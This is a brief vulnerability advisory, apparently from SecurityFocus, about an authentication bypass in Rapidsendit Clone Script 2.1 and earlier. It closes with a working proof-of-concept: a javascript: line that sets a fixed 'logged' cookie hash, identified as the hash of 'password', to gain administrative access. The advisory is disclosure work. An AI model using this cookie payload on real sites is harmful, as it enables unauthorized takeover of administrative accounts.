source: https://www.securityfocus.com/bid/43702/info

Rapidsendit Clone Script is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain administrative access to the affected application; this may aid in further attacks.

Rapidsendit Clone Script 2.1 and prior are vulnerable. 

javascript:document.cookie="logged=696d29e0940a4957748fe3fc9efd22a3; path=/";
696d29e0940a4957748fe3fc9efd22a3 = password